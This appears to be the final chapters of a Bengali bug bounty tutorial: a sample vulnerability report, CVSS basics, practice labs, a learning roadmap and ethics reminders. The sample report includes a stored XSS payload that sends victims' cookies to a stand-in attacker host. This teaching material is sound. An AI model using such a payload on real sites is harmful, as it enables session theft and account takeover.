বাগ পেলে সাথে সাথে professional report লেখো। ভালো report = বেশি bounty।

📝 Professional Bug Report কিভাবে লিখবো?

📋 Report Template

HIGH

```
## Vulnerability Title Stored XSS in Profile Bio Field Leads to
Account Takeover ## Severity High (CVSS: 8.2) ## Summary The profile
bio field does not sanitize HTML/JS input, allowing stored XSS. An
attacker can steal session cookies of any user who views the
malicious profile. ## Steps to Reproduce 1. Login to
https://target.com 2. Go to Profile → Edit → Bio field 3. Enter:
<script>document.location='https://attacker.com/steal?
c='+document.cookie</script> 4. Save profile 5. Ask victim to view
your profile 6. Victim's cookie appears at attacker.com ## Impact An
attacker can steal session tokens of any user, leading to complete
account takeover without user interaction beyond viewing a profile
page. ## Proof of Concept [Screenshot / Video attached] Cookie
received: session=abc123xyz_victim_token ## Suggested Fix - Sanitize
all HTML output using DOMPurify or similar - Implement Content-
Security-Policy header - Add HttpOnly flag to session cookie
```

📊 CVSS — Severity কিভাবে নির্ধারিত হয়

Factor	প্রশ্ন	Score প্রভাব
Attack Vector	Network দিয়ে আক্রমণ সম্ভব?	Network = বেশি
Attack Complexity	কত সহজ?	Low = বেশি
Privileges Required	Login লাগে?	None = বেশি
Confidentiality Impact	Data leak হয়?	High = বেশি
Availability Impact	Service down হয়?	High = বেশি

📌 Chapter সারসংক্ষেপ

- 🚀 HackerOne → Program → Scope পড়ো → Test → Report

- 📝 Good report: Title, Severity, Steps, Impact, PoC, Fix
- 📊 CVSS — 0-10 scale-এ severity নির্ধারণ
- ⚖️ Scope ভায়োলেশন করো না — ban হবে!

CHAPTER 13

🎯 Practice Lab ও Roadmap

কোথায় এবং কিভাবে প্র্যাকটিস করবো — কোনো আইনি ঝুঁকি ছাড়া

🏋 Practice করার জায়গা

Platform	কী শেখায়	কঠিনতা	URL
PortSwigger Web Academy	সব web vuln — বিস্তারিত	Beginner → Advanced	portswigger.net/web-security
TryHackMe	Guided learning, CTF	Beginner friendly	tryhackme.com
HackTheBox	CTF, Machines, Challenges	Intermediate	hackthebox.com
DVWA	Local lab, সব vulnerability	Beginner	localhost-এ install
OWASP Juice Shop	Modern web app hacking	All levels	owasp.org/www-project-juice-shop
PentesterLab	Web pentesting certificates	Intermediate	pentesterlab.com

📅 ৬ মাসের Roadmap — Zero থেকে First Bug

১-২

🌱 মাস ১-২: Foundation

HTTP, Burp Suite setup, HTML/JS basics, Linux terminal basics

এই গাইড পড়ো | Burp Suite সেটআপ | TryHackMe: Web Fundamentals | PortSwigger: SQL Injection labs

৩-৪

⚡ মাস ৩-৪: Vulnerability Practice

OWASP Top 10 সব পড়ো ও practice করো

PortSwigger XSS labs | DVWA সব module | Juice Shop challenges | TryHackMe OWASP room

৫-৬

🏆 মাস ৫-৬: Real Targets

HackerOne-এ প্রথম Bug Bounty program-এ কাজ শুরু করো

HackerOne signup | Public programs-এ test | Report লেখা practice | Community Discord-এ যোগ

📚 দরকারি Resources

📖 পড়ার বই ও গাইড

- **The Web Application Hacker's Handbook**
- **Bug Bounty Bootcamp** — Vickie Li
- **OWASP Testing Guide** (free)
- **HackTricks** — book.hacktricks.xyz
- **PayloadsAllTheThings** — GitHub

🎥 YouTube Channel

- 🔴 Nahamsec
- 🔵 STÖK
- 🟢 InsiderPhD
- 🟡 LiveOverflow
- 🟠 The Cyber Mentor

🏅 OWASP Top 10 — Quick Reference

#	Vulnerability	আমরা কোথায় শিখেছি
A01	Broken Access Control	Ch. 7 — IDOR
A02	Cryptographic Failures	Ch. 2 — HTTPS
A03	Injection (SQLi, XSS)	Ch. 5, 6
A04	Insecure Design	Ch. 10 — Business Logic
A05	Security Misconfiguration	Ch. 2, 4
A06	Vulnerable Components	Ch. 4 — Recon
A07	Auth & Session Failures	Ch. 7 — Auth
A08	Software Integrity Failures	Advanced topic
A09	Security Logging Failures	Blue team topic
A10	SSRF	Ch. 8 — SSRF

⚠️ সবসময় মনে রেখো

- শুধু **authorized** target-এ কাজ করো
- বাগ পেলে exploit করো না — রিপোর্ট করো
- User data নষ্ট করো না
- Hacking skill-এর সাথে নৈতিকতাও শেখো

🎓 তুমি এখন জানো

- 🌐 HTTP কিভাবে কাজ করে

- 🚀 SQLi, XSS, IDOR, CSRF, SSRF, File Upload, Path Traversal
- 🦆 Burp Suite দিয়ে test করা
- 💰 Bug Bounty Report লেখা
- 🎯 কোথায় practice করবো

🕷 "The best security researchers think like attackers, but act like defenders."

এই গাইড সম্পূর্ণ শিক্ষামূলক। সবসময় authorized environment-এ practice করো। অন্যের সিস্টেমে আক্রমণ করা আইনত অপরাধ।

Web Hacking & Bug Bounty Guide — v1.0 | 13 Chapters | Zero to Hunter